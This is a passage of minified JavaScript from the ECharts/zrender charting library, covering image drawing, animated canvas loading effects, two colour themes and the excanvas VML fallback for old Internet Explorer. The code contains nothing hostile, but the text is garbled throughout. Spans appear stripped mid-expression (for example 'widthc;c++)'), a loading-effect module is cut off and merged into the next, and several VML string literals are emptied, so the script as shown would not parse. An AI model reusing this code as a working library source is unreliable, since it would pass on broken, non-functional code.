r=a;this._imageCache[r]?a=this._imageCache[r]:(a=new Image,a.onload=function(){a.onload=null,o.modSelf(),i()},a.src=r,this._imageCache[r]=a)}if(a){if("IMG"==a.nodeName.toUpperCase())if(window.ActiveXObject){if("complete"!=a.readyState)return}else if(!a.complete)return;var s=n.width||a.width,l=n.height||a.height,h=n.x,m=n.y;if(!a.width||!a.height)return;if(e.save(),this.doClip(e),this.setContext(e,n),this.setTransform(e),n.sWidth&&n.sHeight){var V=n.sx||0,U=n.sy||0;e.drawImage(a,V,U,n.sWidth,n.sHeight,h,m,s,l)}else if(n.sx&&n.sy){var V=n.sx,U=n.sy,d=s-V,p=l-U;e.drawImage(a,V,U,d,p,h,m,s,l)}else e.drawImage(a,h,m,s,l);n.width||(n.width=s),n.height||(n.height=l),this.style.width||(this.style.width=s),this.style.height||(this.style.height=l),this.drawText(e,n,this.style),e.restore()}},getRect:function(e){return{x:e.x,y:e.y,width:e.width,height:e.height}},clearCache:function(){this._imageCache={}}},e("../tool/util").inherits(i,t),i}),i("zrender/loadingEffect/Bar",["require","./Base","../tool/util","../tool/color","../shape/Rectangle"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Rectangle");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#888"},backgroundColor:"rgba(250, 250, 250, 0.8)",effectOption:{x:0,y:this.canvasHeight/2-30,width:this.canvasWidth,height:5,brushType:"fill",timeInterval:100}}),r=this.createTextShape(i.textStyle),s=this.createBackgroundShape(i.backgroundColor),l=i.effectOption,h=new o({highlightStyle:n.clone(l)});return h.highlightStyle.color=l.color||a.getLinearGradient(l.x,l.y,l.x+l.width,l.y+l.height,[[0,"#ff6400"],[.5,"#ffe100"],[1,"#b1ff00"]]),null!=i.progress?(e(s),h.highlightStyle.width=this.adjust(i.progress,[0,1])*i.effectOption.width,e(h),e(r),void t()):(h.highlightStyle.width=0,setInterval(function(){e(s),h.highlightStyle.widthc;c++){var u="random"==l.color?a.alpha(a.random(),.3):l.color;U[c]=new o({highlightStyle:{x:Math.ceil(Math.random()*d),y:Math.ceil(Math.random()*p),r:Math.ceil(40*Math.random()),brushType:m,color:u,strokeColor:u,lineWidth:V},animationY:Math.ceil(20*Math.random())})}return setInterval(function(){e(s);for(var i=0;h>i;i++){var n=U[i].highlightStyle;n.y-U[i].animationY+n.r<=0&&(U[i].highlightStyle.y=p+n.r,U[i].highlightStyle.x=Math.ceil(Math.random()*d)),U[i].highlightStyle.y-=U[i].animationY,e(U[i])}e(r),t()},l.timeInterval)},t}),i("zrender/loadingEffect/DynamicLine",["require","./Base","../tool/util","../tool/color","../shape/Line"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Line");return n.inherits(t,i),t.prototype._start=function(e,t){for(var i=n.merge(this.options,{textStyle:{color:"#fff"},backgroundColor:"rgba(0, 0, 0, 0.8)",effectOption:{n:30,lineWidth:1,color:"random",timeInterval:100}}),r=this.createTextShape(i.textStyle),s=this.createBackgroundShape(i.backgroundColor),l=i.effectOption,h=l.n,m=l.lineWidth,V=[],U=this.canvasWidth,d=this.canvasHeight,p=0;h>p;p++){var c=-Math.ceil(1e3*Math.random()),u=Math.ceil(400*Math.random()),y=Math.ceil(Math.random()*d),g="random"==l.color?a.random():l.color;V[p]=new o({highlightStyle:{xStart:c,yStart:y,xEnd:c+u,yEnd:y,strokeColor:g,lineWidth:m},animationX:Math.ceil(100*Math.random()),len:u})}return setInterval(function(){e(s);for(var i=0;h>i;i++){var n=V[i].highlightStyle;n.xStart>=U&&(V[i].len=Math.ceil(400*Math.random()),n.xStart=-400,n.xEnd=-400+V[i].len,n.yStart=Math.ceil(Math.random()*d),n.yEnd=n.yStart),n.xStart+=V[i].animationX,n.xEnd+=V[i].animationX,e(V[i])}e(r),t()},l.timeInterval)},t}),i("zrender/loadingEffect/Ring",["require","./Base","../tool/util","../tool/color","../shape/Ring","../shape/Sector"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../shape/Ring"),r=e("../shape/Sector");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#07a"},backgroundColor:"rgba(250, 250, 250, 0.8)",effect:{x:this.canvasWidth/2,y:this.canvasHeight/2,r0:60,r:100,color:"#bbdcff",brushType:"fill",textPosition:"inside",textFont:"normal 30px verdana",textColor:"rgba(30, 144, 255, 0.6)",timeInterval:100}}),s=i.effect,l=i.textStyle; + +null==l.x&&(l.x=s.x),null==l.y&&(l.y=s.y+(s.r0+s.r)/2-5);for(var h=this.createTextShape(i.textStyle),m=this.createBackgroundShape(i.backgroundColor),V=s.x,U=s.y,d=s.r0+6,p=s.r-6,c=s.color,u=a.lift(c,.1),y=new o({highlightStyle:n.clone(s)}),g=[],b=a.getGradientColors(["#ff6400","#ffe100","#97ff00"],25),f=15,k=240,x=0;16>x;x++)g.push(new r({highlightStyle:{x:V,y:U,r0:d,r:p,startAngle:k-f,endAngle:k,brushType:"fill",color:u},_color:a.getLinearGradient(V+d*Math.cos(k,!0),U-d*Math.sin(k,!0),V+d*Math.cos(k-f,!0),U-d*Math.sin(k-f,!0),[[0,b[2*x]],[1,b[2*x+1]]])})),k-=f;k=360;for(var x=0;4>x;x++)g.push(new r({highlightStyle:{x:V,y:U,r0:d,r:p,startAngle:k-f,endAngle:k,brushType:"fill",color:u},_color:a.getLinearGradient(V+d*Math.cos(k,!0),U-d*Math.sin(k,!0),V+d*Math.cos(k-f,!0),U-d*Math.sin(k-f,!0),[[0,b[2*x+32]],[1,b[2*x+33]]])})),k-=f;var _=0;if(null!=i.progress){e(m),_=100*this.adjust(i.progress,[0,1]).toFixed(2)/5,y.highlightStyle.text=5*_+"%",e(y);for(var x=0;20>x;x++)g[x].highlightStyle.color=_>x?g[x]._color:u,e(g[x]);return e(h),void t()}return setInterval(function(){e(m),_+=_>=20?-20:1,e(y);for(var i=0;20>i;i++)g[i].highlightStyle.color=_>i?g[i]._color:u,e(g[i]);e(h),t()},s.timeInterval)},t}),i("zrender/loadingEffect/Spin",["require","./Base","../tool/util","../tool/color","../tool/area","../shape/Sector"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/color"),o=e("../tool/area"),r=e("../shape/Sector");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#fff",textAlign:"start"},backgroundColor:"rgba(0, 0, 0, 0.8)"}),s=this.createTextShape(i.textStyle),l=10,h=o.getTextWidth(s.highlightStyle.text,s.highlightStyle.textFont),m=o.getTextHeight(s.highlightStyle.text,s.highlightStyle.textFont),V=n.merge(this.options.effect||{},{r0:9,r:15,n:18,color:"#fff",timeInterval:100}),U=this.getLocation(this.options.textStyle,h+l+2*V.r,Math.max(2*V.r,m));V.x=U.x+V.r,V.y=s.highlightStyle.y=U.y+U.height/2,s.highlightStyle.x=V.x+V.r+l;for(var d=this.createBackgroundShape(i.backgroundColor),p=V.n,c=V.x,u=V.y,y=V.r0,g=V.r,b=V.color,f=[],k=Math.round(180/p),x=0;p>x;x++)f[x]=new r({highlightStyle:{x:c,y:u,r0:y,r:g,startAngle:k*x*2,endAngle:k*x*2+k,color:a.alpha(b,(x+1)/p),brushType:"fill"}});var _=[0,c,u];return setInterval(function(){e(d),_[0]-=.3;for(var i=0;p>i;i++)f[i].rotation=_,e(f[i]);e(s),t()},V.timeInterval)},t}),i("zrender/loadingEffect/Whirling",["require","./Base","../tool/util","../tool/area","../shape/Ring","../shape/Droplet","../shape/Circle"],function(e){function t(e){i.call(this,e)}var i=e("./Base"),n=e("../tool/util"),a=e("../tool/area"),o=e("../shape/Ring"),r=e("../shape/Droplet"),s=e("../shape/Circle");return n.inherits(t,i),t.prototype._start=function(e,t){var i=n.merge(this.options,{textStyle:{color:"#888",textAlign:"start"},backgroundColor:"rgba(250, 250, 250, 0.8)"}),l=this.createTextShape(i.textStyle),h=10,m=a.getTextWidth(l.highlightStyle.text,l.highlightStyle.textFont),V=a.getTextHeight(l.highlightStyle.text,l.highlightStyle.textFont),U=n.merge(this.options.effect||{},{r:18,colorIn:"#fff",colorOut:"#555",colorWhirl:"#6cf",timeInterval:50}),d=this.getLocation(this.options.textStyle,m+h+2*U.r,Math.max(2*U.r,V));U.x=d.x+U.r,U.y=l.highlightStyle.y=d.y+d.height/2,l.highlightStyle.x=U.x+U.r+h;var p=this.createBackgroundShape(i.backgroundColor),c=new r({highlightStyle:{a:Math.round(U.r/2),b:Math.round(U.r-U.r/6),brushType:"fill",color:U.colorWhirl}}),u=new s({highlightStyle:{r:Math.round(U.r/6),brushType:"fill",color:U.colorIn}}),y=new o({highlightStyle:{r0:Math.round(U.r-U.r/3),r:U.r,brushType:"fill",color:U.colorOut}}),g=[0,U.x,U.y];return c.highlightStyle.x=u.highlightStyle.x=y.highlightStyle.x=g[1],c.highlightStyle.y=u.highlightStyle.y=y.highlightStyle.y=g[2],setInterval(function(){e(p),e(y),g[0]-=.3,c.rotation=g,e(c),e(u),e(l),t()},U.timeInterval)},t}),i("echarts/theme/macarons",[],function(){var e={color:["#2ec7c9","#b6a2de","#5ab1ef","#ffb980","#d87a80","#8d98b3","#e5cf0d","#97b552","#95706d","#dc69aa","#07a2a4","#9a7fd1","#588dd5","#f5994e","#c05050","#59678c","#c9ab00","#7eb00a","#6f5553","#c14089"],title:{textStyle:{fontWeight:"normal",color:"#008acd"}},dataRange:{itemWidth:15,color:["#5ab1ef","#e0ffff"]},toolbox:{color:["#1e90ff","#1e90ff","#1e90ff","#1e90ff"],effectiveColor:"#ff4500"},tooltip:{backgroundColor:"rgba(50,50,50,0.5)",axisPointer:{type:"line",lineStyle:{color:"#008acd"},crossStyle:{color:"#008acd"},shadowStyle:{color:"rgba(200,200,200,0.2)"}}},dataZoom:{dataBackgroundColor:"#efefff",fillerColor:"rgba(182,162,222,0.2)",handleColor:"#008acd"},grid:{borderColor:"#eee"},categoryAxis:{axisLine:{lineStyle:{color:"#008acd"}},splitLine:{lineStyle:{color:["#eee"]}}},valueAxis:{axisLine:{lineStyle:{color:"#008acd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.1)","rgba(200,200,200,0.1)"]}},splitLine:{lineStyle:{color:["#eee"]}}},polar:{axisLine:{lineStyle:{color:"#ddd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.2)","rgba(200,200,200,0.2)"]}},splitLine:{lineStyle:{color:"#ddd"}}},timeline:{lineStyle:{color:"#008acd"},controlStyle:{normal:{color:"#008acd"},emphasis:{color:"#008acd"}},symbol:"emptyCircle",symbolSize:3},bar:{itemStyle:{normal:{barBorderRadius:5},emphasis:{barBorderRadius:5}}},line:{smooth:!0,symbol:"emptyCircle",symbolSize:3},k:{itemStyle:{normal:{color:"#d87a80",color0:"#2ec7c9",lineStyle:{color:"#d87a80",color0:"#2ec7c9"}}}},scatter:{symbol:"circle",symbolSize:4},radar:{symbol:"emptyCircle",symbolSize:3},map:{itemStyle:{normal:{areaStyle:{color:"#ddd"},label:{textStyle:{color:"#d87a80"}}},emphasis:{areaStyle:{color:"#fe994e"}}}},force:{itemStyle:{normal:{linkStyle:{color:"#1e90ff"}}}},chord:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}},emphasis:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}}}},gauge:{axisLine:{lineStyle:{color:[[.2,"#2ec7c9"],[.8,"#5ab1ef"],[1,"#d87a80"]],width:10}},axisTick:{splitNumber:10,length:15,lineStyle:{color:"auto"}},splitLine:{length:22,lineStyle:{color:"auto"}},pointer:{width:5}},textStyle:{fontFamily:"微软雅黑, Arial, Verdana, sans-serif"}};return e}),i("echarts/theme/infographic",[],function(){var e={color:["#C1232B","#B5C334","#FCCE10","#E87C25","#27727B","#FE8463","#9BCA63","#FAD860","#F3A43B","#60C0DD","#D7504B","#C6E579","#F4E001","#F0805A","#26C0C0"],title:{textStyle:{fontWeight:"normal",color:"#27727B"}},dataRange:{x:"right",y:"center",itemWidth:5,itemHeight:25,color:["#C1232B","#FCCE10"]},toolbox:{color:["#C1232B","#B5C334","#FCCE10","#E87C25","#27727B","#FE8463","#9BCA63","#FAD860","#F3A43B","#60C0DD"],effectiveColor:"#ff4500"},tooltip:{backgroundColor:"rgba(50,50,50,0.5)",axisPointer:{type:"line",lineStyle:{color:"#27727B",type:"dashed"},crossStyle:{color:"#27727B"},shadowStyle:{color:"rgba(200,200,200,0.3)"}}},dataZoom:{dataBackgroundColor:"rgba(181,195,52,0.3)",fillerColor:"rgba(181,195,52,0.2)",handleColor:"#27727B"},grid:{borderWidth:0},categoryAxis:{axisLine:{lineStyle:{color:"#27727B"}},splitLine:{show:!1}},valueAxis:{axisLine:{show:!1},splitArea:{show:!1},splitLine:{lineStyle:{color:["#ccc"],type:"dashed"}}},polar:{axisLine:{lineStyle:{color:"#ddd"}},splitArea:{show:!0,areaStyle:{color:["rgba(250,250,250,0.2)","rgba(200,200,200,0.2)"]}},splitLine:{lineStyle:{color:"#ddd"}}},timeline:{lineStyle:{color:"#27727B"},controlStyle:{normal:{color:"#27727B"},emphasis:{color:"#27727B"}},symbol:"emptyCircle",symbolSize:3},line:{itemStyle:{normal:{borderWidth:2,borderColor:"#fff",lineStyle:{width:3}},emphasis:{borderWidth:0}},symbol:"circle",symbolSize:3.5},k:{itemStyle:{normal:{color:"#C1232B",color0:"#B5C334",lineStyle:{width:1,color:"#C1232B",color0:"#B5C334"}}}},scatter:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(200,200,200,0.5)"},emphasis:{borderWidth:0}},symbol:"star4",symbolSize:4},radar:{symbol:"emptyCircle",symbolSize:3},map:{itemStyle:{normal:{areaStyle:{color:"#ddd"},label:{textStyle:{color:"#C1232B"}}},emphasis:{areaStyle:{color:"#fe994e"},label:{textStyle:{color:"rgb(100,0,0)"}}}}},force:{itemStyle:{normal:{linkStyle:{color:"#27727B"}}}},chord:{itemStyle:{normal:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}},emphasis:{borderWidth:1,borderColor:"rgba(128, 128, 128, 0.5)",chordStyle:{lineStyle:{color:"rgba(128, 128, 128, 0.5)"}}}}},gauge:{center:["50%","80%"],radius:"100%",startAngle:180,endAngle:0,axisLine:{show:!0,lineStyle:{color:[[.2,"#B5C334"],[.8,"#27727B"],[1,"#C1232B"]],width:"40%"}},axisTick:{splitNumber:2,length:5,lineStyle:{color:"#fff"}},axisLabel:{textStyle:{color:"#fff",fontWeight:"bolder"}},splitLine:{length:"5%",lineStyle:{color:"#fff"}},pointer:{width:"40%",length:"80%",color:"#fff"},title:{offsetCenter:[0,-20],textStyle:{color:"auto",fontSize:20}},detail:{offsetCenter:[0,0],textStyle:{color:"auto",fontSize:40}}},textStyle:{fontFamily:"微软雅黑, Arial, Verdana, sans-serif"}};return e}),i("zrender/dep/excanvas",["require"],function(){return document.createElement("canvas").getContext?G_vmlCanvasManager=!1:!function(){function e(){return this.context_||(this.context_=new f(this))}function t(e,t){var i=O.call(arguments,2);return function(){return e.apply(t,i.concat(O.call(arguments)))}}function i(e){return String(e).replace(/&/g,"&").replace(/"/g,""")}function n(e,t,i){e.namespaces[t]||e.namespaces.add(t,i,"#default#VML")}function a(e){if(n(e,"g_vml_","urn:schemas-microsoft-com:vml"),n(e,"g_o_","urn:schemas-microsoft-com:office:office"),!e.styleSheets.ex_canvas_){var t=e.createStyleSheet();t.owningElement.id="ex_canvas_",t.cssText="canvas{display:inline-block;overflow:hidden;text-align:left;width:300px;height:150px}"}}function o(e){var t=e.srcElement;switch(e.propertyName){case"width":t.getContext().clearRect(),t.style.width=t.attributes.width.nodeValue+"px",t.firstChild.style.width=t.clientWidth+"px";break;case"height":t.getContext().clearRect(),t.style.height=t.attributes.height.nodeValue+"px",t.firstChild.style.height=t.clientHeight+"px"}}function r(e){var t=e.srcElement;t.firstChild&&(t.firstChild.style.width=t.clientWidth+"px",t.firstChild.style.height=t.clientHeight+"px")}function s(){return[[1,0,0],[0,1,0],[0,0,1]]}function l(e,t){for(var i=s(),n=0;3>n;n++)for(var a=0;3>a;a++){for(var o=0,r=0;3>r;r++)o+=e[n][r]*t[r][a];i[n][a]=o}return i}function h(e,t){t.fillStyle=e.fillStyle,t.lineCap=e.lineCap,t.lineJoin=e.lineJoin,t.lineWidth=e.lineWidth,t.miterLimit=e.miterLimit,t.shadowBlur=e.shadowBlur,t.shadowColor=e.shadowColor,t.shadowOffsetX=e.shadowOffsetX,t.shadowOffsetY=e.shadowOffsetY,t.strokeStyle=e.strokeStyle,t.globalAlpha=e.globalAlpha,t.font=e.font,t.textAlign=e.textAlign,t.textBaseline=e.textBaseline,t.scaleX_=e.scaleX_,t.scaleY_=e.scaleY_,t.lineScale_=e.lineScale_}function m(e){var t=e.indexOf("(",3),i=e.indexOf(")",t+1),n=e.substring(t+1,i).split(",");return(4!=n.length||"a"!=e.charAt(3))&&(n[3]=1),n}function V(e){return parseFloat(e)/100}function U(e,t,i){return Math.min(i,Math.max(t,e))}function d(e){var t,i,n,a,o,r;if(a=parseFloat(e[0])/360%360,0>a&&a++,o=U(V(e[1]),0,1),r=U(V(e[2]),0,1),0==o)t=i=n=r;else{var s=.5>r?r*(1+o):r+o-r*o,l=2*r-s;t=p(l,s,a+1/3),i=p(l,s,a),n=p(l,s,a-1/3)}return"#"+D[Math.floor(255*t)]+D[Math.floor(255*i)]+D[Math.floor(255*n)]}function p(e,t,i){return 0>i&&i++,i>1&&i--,1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+(t-e)*(2/3-i)*6:e}function c(e){if(e in R)return R[e];var t,i=1;if(e=String(e),"#"==e.charAt(0))t=e;else if(/^rgb/.test(e)){for(var n,a=m(e),t="#",o=0;3>o;o++)n=-1!=a[o].indexOf("%")?Math.floor(255*V(a[o])):+a[o],t+=D[U(n,0,255)];i=+a[3]}else if(/^hsl/.test(e)){var a=m(e);t=d(a),i=a[3]}else t=H[e]||e;return R[e]={color:t,alpha:i}}function u(e){if(Y[e])return Y[e];var t,i=document.createElement("div"),n=i.style;try{n.font=e,t=n.fontFamily.split(",")[0]}catch(a){}return Y[e]={style:n.fontStyle||G.style,variant:n.fontVariant||G.variant,weight:n.fontWeight||G.weight,size:n.fontSize||G.size,family:t||G.family}}function y(e,t){var i={};for(var n in e)i[n]=e[n];var a=parseFloat(t.currentStyle.fontSize),o=parseFloat(e.size);return i.size="number"==typeof e.size?e.size:-1!=e.size.indexOf("px")?o:-1!=e.size.indexOf("em")?a*o:-1!=e.size.indexOf("%")?a/100*o:-1!=e.size.indexOf("pt")?o/.75:a,i}function g(e){return e.style+" "+e.variant+" "+e.weight+" "+e.size+"px '"+e.family+"'"}function b(e){return Q[e]||"square"}function f(e){this.m_=s(),this.mStack_=[],this.aStack_=[],this.currentPath_=[],this.strokeStyle="#000",this.fillStyle="#000",this.lineWidth=1,this.lineJoin="miter",this.lineCap="butt",this.miterLimit=1*A,this.globalAlpha=1,this.font="12px 微软雅黑",this.textAlign="left",this.textBaseline="alphabetic",this.canvas=e;var t="width:"+e.clientWidth+"px;height:"+e.clientHeight+"px;overflow:hidden;position:absolute",i=e.ownerDocument.createElement("div");i.style.cssText=t,e.appendChild(i);var n=i.cloneNode(!1);n.style.backgroundColor="#fff",n.style.filter="alpha(opacity=0)",e.appendChild(n),this.element_=i,this.scaleX_=1,this.scaleY_=1,this.lineScale_=1}function k(e,t,i,n){e.currentPath_.push({type:"bezierCurveTo",cp1x:t.x,cp1y:t.y,cp2x:i.x,cp2y:i.y,x:n.x,y:n.y}),e.currentX_=n.x,e.currentY_=n.y}function x(e,t){var i=c(e.strokeStyle),n=i.color,a=i.alpha*e.globalAlpha,o=e.lineScale_*e.lineWidth;1>o&&(a*=o),t.push("')}function _(e,t,i,n){var a=e.fillStyle,o=e.scaleX_,r=e.scaleY_,s=n.x-i.x,l=n.y-i.y;if(a instanceof v){var h=0,m={x:0,y:0},V=0,U=1;if("gradient"==a.type_){var d=a.x0_/o,p=a.y0_/r,u=a.x1_/o,y=a.y1_/r,g=L(e,d,p),b=L(e,u,y),f=b.x-g.x,k=b.y-g.y;h=180*Math.atan2(f,k)/Math.PI,0>h&&(h+=360),1e-6>h&&(h=0)}else{var g=L(e,a.x0_,a.y0_);m={x:(g.x-i.x)/s,y:(g.y-i.y)/l},s/=o*A,l/=r*A;var x=C.max(s,l);V=2*a.r0_/x,U=2*a.r1_/x-V}var _=a.colors_;_.sort(function(e,t){return e.offset-t.offset});for(var W=_.length,X=_[0].color,K=_[W-1].color,I=_[0].alpha*e.globalAlpha,J=_[W-1].alpha*e.globalAlpha,S=[],E=0;W>E;E++){var F=_[E];S.push(F.offset*U+V+" "+F.color)}t.push('')}else if(a instanceof w){if(s&&l){var T=-i.x,z=-i.y;t.push("')}}else{var M=c(e.fillStyle),O=M.color,P=M.alpha*e.globalAlpha;t.push('')}}function L(e,t,i){var n=e.m_;return{x:A*(t*n[0][0]+i*n[1][0]+n[2][0])-M,y:A*(t*n[0][1]+i*n[1][1]+n[2][1])-M}}function W(e){return isFinite(e[0][0])&&isFinite(e[0][1])&&isFinite(e[1][0])&&isFinite(e[1][1])&&isFinite(e[2][0])&&isFinite(e[2][1])}function X(e,t,i){if(W(t)&&(e.m_=t,e.scaleX_=Math.sqrt(t[0][0]*t[0][0]+t[0][1]*t[0][1]),e.scaleY_=Math.sqrt(t[1][0]*t[1][0]+t[1][1]*t[1][1]),i)){var n=t[0][0]*t[1][1]-t[0][1]*t[1][0];e.lineScale_=z(T(n))}}function v(e){this.type_=e,this.x0_=0,this.y0_=0,this.r0_=0,this.x1_=0,this.y1_=0,this.r1_=0,this.colors_=[]}function w(e,t){switch(I(e),t){case"repeat":case null:case"":this.repetition_="repeat";break;case"repeat-x":case"repeat-y":case"no-repeat":this.repetition_=t;break;default:K("SYNTAX_ERR")}this.src_=e.src,this.width_=e.width,this.height_=e.height}function K(e){throw new J(e)}function I(e){e&&1==e.nodeType&&"IMG"==e.tagName||K("TYPE_MISMATCH_ERR"),"complete"!=e.readyState&&K("INVALID_STATE_ERR")}function J(e){this.code=this[e],this.message=e+": DOM Exception "+this.code}var C=Math,S=C.round,E=C.sin,F=C.cos,T=C.abs,z=C.sqrt,A=10,M=A/2,O=(+navigator.userAgent.match(/MSIE ([\d.]+)?/)[1],Array.prototype.slice);a(document);var P={init:function(e){var i=e||document;i.createElement("canvas"),i.attachEvent("onreadystatechange",t(this.init_,this,i))},init_:function(e){for(var t=e.getElementsByTagName("canvas"),i=0;iN;N++)for(var B=0;16>B;B++)D[16*N+B]=N.toString(16)+B.toString(16);var H={aliceblue:"#F0F8FF",antiquewhite:"#FAEBD7",aquamarine:"#7FFFD4",azure:"#F0FFFF",beige:"#F5F5DC",bisque:"#FFE4C4",black:"#000000",blanchedalmond:"#FFEBCD",blueviolet:"#8A2BE2",brown:"#A52A2A",burlywood:"#DEB887",cadetblue:"#5F9EA0",chartreuse:"#7FFF00",chocolate:"#D2691E",coral:"#FF7F50",cornflowerblue:"#6495ED",cornsilk:"#FFF8DC",crimson:"#DC143C",cyan:"#00FFFF",darkblue:"#00008B",darkcyan:"#008B8B",darkgoldenrod:"#B8860B",darkgray:"#A9A9A9",darkgreen:"#006400",darkgrey:"#A9A9A9",darkkhaki:"#BDB76B",darkmagenta:"#8B008B",darkolivegreen:"#556B2F",darkorange:"#FF8C00",darkorchid:"#9932CC",darkred:"#8B0000",darksalmon:"#E9967A",darkseagreen:"#8FBC8F",darkslateblue:"#483D8B",darkslategray:"#2F4F4F",darkslategrey:"#2F4F4F",darkturquoise:"#00CED1",darkviolet:"#9400D3",deeppink:"#FF1493",deepskyblue:"#00BFFF",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1E90FF",firebrick:"#B22222",floralwhite:"#FFFAF0",forestgreen:"#228B22",gainsboro:"#DCDCDC",ghostwhite:"#F8F8FF",gold:"#FFD700",goldenrod:"#DAA520",grey:"#808080",greenyellow:"#ADFF2F",honeydew:"#F0FFF0",hotpink:"#FF69B4",indianred:"#CD5C5C",indigo:"#4B0082",ivory:"#FFFFF0",khaki:"#F0E68C",lavender:"#E6E6FA",lavenderblush:"#FFF0F5",lawngreen:"#7CFC00",lemonchiffon:"#FFFACD",lightblue:"#ADD8E6",lightcoral:"#F08080",lightcyan:"#E0FFFF",lightgoldenrodyellow:"#FAFAD2",lightgreen:"#90EE90",lightgrey:"#D3D3D3",lightpink:"#FFB6C1",lightsalmon:"#FFA07A",lightseagreen:"#20B2AA",lightskyblue:"#87CEFA",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#B0C4DE",lightyellow:"#FFFFE0",limegreen:"#32CD32",linen:"#FAF0E6",magenta:"#FF00FF",mediumaquamarine:"#66CDAA",mediumblue:"#0000CD",mediumorchid:"#BA55D3",mediumpurple:"#9370DB",mediumseagreen:"#3CB371",mediumslateblue:"#7B68EE",mediumspringgreen:"#00FA9A",mediumturquoise:"#48D1CC",mediumvioletred:"#C71585",midnightblue:"#191970",mintcream:"#F5FFFA",mistyrose:"#FFE4E1",moccasin:"#FFE4B5",navajowhite:"#FFDEAD",oldlace:"#FDF5E6",olivedrab:"#6B8E23",orange:"#FFA500",orangered:"#FF4500",orchid:"#DA70D6",palegoldenrod:"#EEE8AA",palegreen:"#98FB98",paleturquoise:"#AFEEEE",palevioletred:"#DB7093",papayawhip:"#FFEFD5",peachpuff:"#FFDAB9",peru:"#CD853F",pink:"#FFC0CB",plum:"#DDA0DD",powderblue:"#B0E0E6",rosybrown:"#BC8F8F",royalblue:"#4169E1",saddlebrown:"#8B4513",salmon:"#FA8072",sandybrown:"#F4A460",seagreen:"#2E8B57",seashell:"#FFF5EE",sienna:"#A0522D",skyblue:"#87CEEB",slateblue:"#6A5ACD",slategray:"#708090",slategrey:"#708090",snow:"#FFFAFA",springgreen:"#00FF7F",steelblue:"#4682B4",tan:"#D2B48C",thistle:"#D8BFD8",tomato:"#FF6347",turquoise:"#40E0D0",violet:"#EE82EE",wheat:"#F5DEB3",whitesmoke:"#F5F5F5",yellowgreen:"#9ACD32"},R={},G={style:"normal",variant:"normal",weight:"normal",size:12,family:"微软雅黑"},Y={},Q={butt:"flat",round:"round"},Z=f.prototype;Z.clearRect=function(){this.textMeasureEl_&&(this.textMeasureEl_.removeNode(!0),this.textMeasureEl_=null),this.element_.innerHTML=""},Z.beginPath=function(){this.currentPath_=[]},Z.moveTo=function(e,t){var i=L(this,e,t);this.currentPath_.push({type:"moveTo",x:i.x,y:i.y}),this.currentX_=i.x,this.currentY_=i.y},Z.lineTo=function(e,t){var i=L(this,e,t);this.currentPath_.push({type:"lineTo",x:i.x,y:i.y}),this.currentX_=i.x,this.currentY_=i.y},Z.bezierCurveTo=function(e,t,i,n,a,o){var r=L(this,a,o),s=L(this,e,t),l=L(this,i,n);k(this,s,l,r)},Z.quadraticCurveTo=function(e,t,i,n){var a=L(this,e,t),o=L(this,i,n),r={x:this.currentX_+2/3*(a.x-this.currentX_),y:this.currentY_+2/3*(a.y-this.currentY_)},s={x:r.x+(o.x-this.currentX_)/3,y:r.y+(o.y-this.currentY_)/3};k(this,r,s,o)},Z.arc=function(e,t,i,n,a,o){i*=A;var r=o?"at":"wa",s=e+F(n)*i-M,l=t+E(n)*i-M,h=e+F(a)*i-M,m=t+E(a)*i-M;s!=h||o||(s+=.125);var V=L(this,e,t),U=L(this,s,l),d=L(this,h,m);this.currentPath_.push({type:r,x:V.x,y:V.y,radius:i,xStart:U.x,yStart:U.y,xEnd:d.x,yEnd:d.y})},Z.rect=function(e,t,i,n){this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath()},Z.strokeRect=function(e,t,i,n){var a=this.currentPath_;this.beginPath(),this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath(),this.stroke(),this.currentPath_=a},Z.fillRect=function(e,t,i,n){var a=this.currentPath_;this.beginPath(),this.moveTo(e,t),this.lineTo(e+i,t),this.lineTo(e+i,t+n),this.lineTo(e,t+n),this.closePath(),this.fill(),this.currentPath_=a},Z.createLinearGradient=function(e,t,i,n){var a=new v("gradient");return a.x0_=e,a.y0_=t,a.x1_=i,a.y1_=n,a},Z.createRadialGradient=function(e,t,i,n,a,o){var r=new v("gradientradial");return r.x0_=e,r.y0_=t,r.r0_=i,r.x1_=n,r.y1_=a,r.r1_=o,r},Z.drawImage=function(e){var t,i,n,a,o,r,s,l,h=e.runtimeStyle.width,m=e.runtimeStyle.height;e.runtimeStyle.width="auto",e.runtimeStyle.height="auto";var V=e.width,U=e.height;if(e.runtimeStyle.width=h,e.runtimeStyle.height=m,3==arguments.length)t=arguments[1],i=arguments[2],o=r=0,s=n=V,l=a=U;else if(5==arguments.length)t=arguments[1],i=arguments[2],n=arguments[3],a=arguments[4],o=r=0,s=V,l=U;else{if(9!=arguments.length)throw Error("Invalid number of arguments");o=arguments[1],r=arguments[2],s=arguments[3],l=arguments[4],t=arguments[5],i=arguments[6],n=arguments[7],a=arguments[8]}var d=L(this,t,i),p=[],c=10,u=10,y=b=1;if(p.push(" '),(o||r)&&p.push('
        '),p.push('
        '),(o||r)&&p.push("
        "),p.push("
